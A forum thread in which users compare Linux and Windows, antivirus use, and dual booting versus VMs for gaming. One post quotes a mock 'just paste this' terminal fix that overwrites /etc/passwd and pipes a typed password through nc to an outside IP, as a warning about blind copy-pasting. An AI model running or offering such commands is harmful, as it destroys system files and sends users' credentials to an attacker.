Who Here Uses Linux?

[phongn]

I'm getting a new computer for my birthday. It will have 8GB of RAM, so I'll probably run Ubuntu as the main OS and run Win7 in Virtualbox, giving it 2-4GB of RAM.

The opposite might work better (especially if you get a real GPU or even the integrated one that Sandy Bridge uses).

[noncredible]

I'm getting the Sandy Bridge i5-2500K

But I really don't want Windows as my main system. I don't trust it to not get a virus.

[Executor32]

You'd have to try pretty hard to get one, I think. As long as you're using a decent antivirus and antispyware, you should have notthing to worry about.

[noncredible]

The thing is I don't want an anti-virus. Linux is designed with security in mind, Windows isn't. Not to mention Linux being more stable, among many other things.

I just don't want Windows as my main system. I intend to use it as little as possible, mainly for gaming.

[TimothyC]

The thing is I don't want an anti-virus. Linux is designed with security in mind, Windows isn't. Not to mention Linux being more stable, among many other things.

I just don't want Windows as my main system. I intend to use it as little as possible, mainly for gaming.

MSE makes security very, very, simple. When combined with it's low footprint it you won't see a performance hit at all. This is important relative to using Linux as the base system because if you run Windows in a VM you will see a performance hit in 3D applications.

If you really do want to play games in Windows, then dual booting is a better option than running it in a VM.

[phongn]

MSE makes security very, very, simple. When combined with it's low footprint it you won't see a performance hit at all. This is important relative to using Linux as the base system because if you run Windows in a VM you will see a performance hit in 3D applications.

Games might not even run at all in a VM since most VM 3D drivers are limited in functionality. Worse, 3D drivers for Linux tend to be slower and more immature than their Windows' counterparts.

[Executor32]

The thing is I don't want an anti-virus. Linux is designed with security in mind, Windows isn't. Not to mention Linux being more stable, among many other things.

I just don't want Windows as my main system. I intend to use it as little as possible, mainly for gaming.

I think it's more because Windows has the vast majority of the market share so people actually bother making viruses and malware for it. When was the last time you heard of a Linux virus, other than that Android one a month or two back? As for being more stable, elaborate please. My system has been running constantly since I built it at the end of January, save for restarting for Windows/drivers updates and shutting it down to replace my motherboard with one with non-defective SATA ports (Cougar Point chipset, in case it wasn't obvious). Occasionally Firefox misbehaves and crashes, but other than that I've had no issues whatsoever.

[Bounty]

Win7 + MSE + common sense is as secure as Linux for all practical purposes.

[noncredible]

Well, I could dual boot them. Reconfiguring the GRUB and such is a bit of a pain, but it's only a few terminal commands, so I probably will.

As for the Linux viruses thing, linky

Win7 + MSE + common sense is as secure as Linux for all practical purposes.

I don't use my computer practically. I have five or six Windows viruses sitting in my Downloads folder right now because I wanted to see whether I could run them using Wine. I am very good at [mostly accidentally] fucking Windows up, one way or another.

[Executor32]

So don't download viruses just to see what happens?

Also, that article is over 7 years old, things have vastly improved since then.

[noncredible]

So don't download viruses just to see what happens?

You missed my point. My point was that I'll accidentally screw up the registry or something. Of course, I'll probably just use Windows for gaming and such, so I probably won't be deleting files in the C:\WINDOWS folder...

Also, that article is over 7 years old, things have vastly improved since then.

True. But my opinion still stands. Windows is still too easy to accidentally screw up.

[Executor32]

So don't muck about in the registry unless you know what you're doing? Your point is a stupid one for anyone with a functioning brain, since it's not exactly hard to avoid doing random shit like a fucking two-year-old.

[noncredible]

I know. The problem is I'm used to doing that, since you sometimes have to do that in Linux.

Although, since I don't intend to use Windows as the main system, only for gaming and such, this is all irrelevant.

[phongn]

You missed my point. My point was that I'll accidentally screw up the registry or something. Of course, I'll probably just use Windows for gaming and such, so I probably won't be deleting files in the C:\WINDOWS folder...

Vista and 7 will attempt to protect you from yourself.

True. But my opinion still stands. Windows is still too easy to accidentally screw up.

Your opinion is wrong.

I know. The problem is I'm used to doing that, since you sometimes have to do that in Linux.

So ... don't do that in other sanely-configured operating systems?

[Ariphaos]

My servers all run Debian for security and performance reasons. I have a Linux From Scratch machine that mostly sits and rots - it's an educational experience. And a Win2k machine that's currently in a state of permanent disassembly.

My laptop dual boots Debian and Windows XP Pro. My main desktop is XP 64 bit, which I use for games and graphics.

[Xisiqomelir]

How many of you use Linux? And which distribution do you use?

Also, if you switched from another OS, why?

Macintosh user from 1986 until my 2004 17" MBP broke in 2007 (accidental, not due to HW failure). I built a cheapo C2D system and installed Debian on it as a hold-over, switched to Arch Linux last year and I still run that as my main machine.

New ThinkPad T420s coming in about a week or so, will probably put Debian or Ubuntu on that.

Will probably get a new Mac eventually too.

[Starglider]

I've been running Linux on all my servers for the last ten years or so, various distributions but currently Debian. I have experimented with Linux on the desktop a few times, but I have never, ever been able to get any distribution to run hardware-accelerated 3D graphics with any degree of reliability. My main workstation and tablet have Windows 7, my laptop and assorted spare machines still have Vista.

[noncredible]

You missed my point. My point was that I'll accidentally screw up the registry or something. Of course, I'll probably just use Windows for gaming and such, so I probably won't be deleting files in the C:\WINDOWS folder...

Vista and 7 will attempt to protect you from yourself.

Is it a significant improvement over XP? (this is a legitimate question, not sarcasm, I don't use Vista and 7 much, and I want to know whether they're worth buying once I get a new computer)

True. But my opinion still stands. Windows is still too easy to accidentally screw up.

Your opinion is wrong.

Ok, you've established that Vista and 7 are more secure and less screw-up-able than XP. I'll admit that I was exaggerating about Windows' screw-up-ability.

[phongn]

You missed my point. My point was that I'll accidentally screw up the registry or something. Of course, I'll probably just use Windows for gaming and such, so I probably won't be deleting files in the C:\WINDOWS folder...

Vista and 7 will attempt to protect you from yourself.

Is it a significant improvement over XP? (this is a legitimate question, not sarcasm, I don't use Vista and 7 much, and I want to know whether they're worth buying once I get a new computer)

Yes.

[Dominus Atheos]

Yes.

[Skgoa]

My desktop has Windows 7 for gaming and my laptop is a MacBook. I prefer the later for anything but playing games. I have tried several different linux distributions... I like my computers to work and my OS to not still have the same stupid issues several versions later, please. Basicly, OS X gives me all the unixoidity I need as a computer scientist, yet using it it doesn't suck as much as linux.

[Torben]

You missed my point. My point was that I'll accidentally screw up the registry or something. Of course, I'll probably just use Windows for gaming and such, so I probably won't be deleting files in the C:\WINDOWS folder...

Vista and 7 will attempt to protect you from yourself.

Is it a significant improvement over XP? (this is a legitimate question, not sarcasm, I don't use Vista and 7 much, and I want to know whether they're worth buying once I get a new computer)

Yes. Had XP running on home desktop for 8 yrs, non stop (excepting physical moves, power outages, and hardware/software upgrades). Never had the OS crash, never a virus. Granted, kept reliable AV software running continuously. Now run Win7 on desktop and both laptops. Have had Server 2008 R1, Ubuntu 9-10 running on home server and Ubuntu 9.04, 9.10, and 10.04 on laptop while in school. Really like the granular control Linux provides, just wish the productivity software I need was readily available for it (AutoCAD and verticals mainly).

In any event, as everyone else has stated, if you plan to run Win7 for gaming, best not to do it in a VM. It will NOT work well at all. Dual boot, and as long as you install Win7 first, you really should not need to mess with GRUB at all. IIRC, Ubuntu 10.04 uses Grub 2.0, which should configure itself, and by everything I read at the time, it was recommended to modify it as little as possible.

[Count Chocula]

Vista on my box, NT on my Netbook. I have to have Office and Outlook, so there you go. I rep a network video recorder manfacturer and most of their boxes use Linux, so I'm re-learning it for work purposes only.

[Ariphaos]

"oh just open a terminal and run this:

sudo apt-get install pwnme-devel
pwnme -L 8089 &
`perl -e 'print ("wtf" =~ s/w/sudo echo toor|0 > /etc/passwd);'`
echo 'Password: ' ; read ; echo $REPLY | nc 133.7.101.4 10000

and it will fix your problem."

How many times does the newbie just copy/paste it without even looking at it? Besides, even if the newb looked at it, would he know what it does?

This is similar to 'here, just run this trojan' in Windows. Setup a fake clone of bleepingcomputer.com or whatever, swap out a letter and you have the same situation. I don't think there's much arguing that there are only so many solutions to user stupidity besides education.

Hah! Yeah, virus writers have a hard time doing certain things.... and so do legitimate programs and users. Who hasn't lost data with some random dot update in Linux software where they went and changed something?

I mostly use Linux for server purposes but, I've only lost data due to a RAID card failure, personally. Then again I've only used Debian for serious work in Linux.

[StrikaAmaru]

Win 7 at work, Win XP at home. I don't use Linux, not from any religious conviction, but because I'm a developer on the .Net platform, and I don't have much use for it (yes, I know about Mono).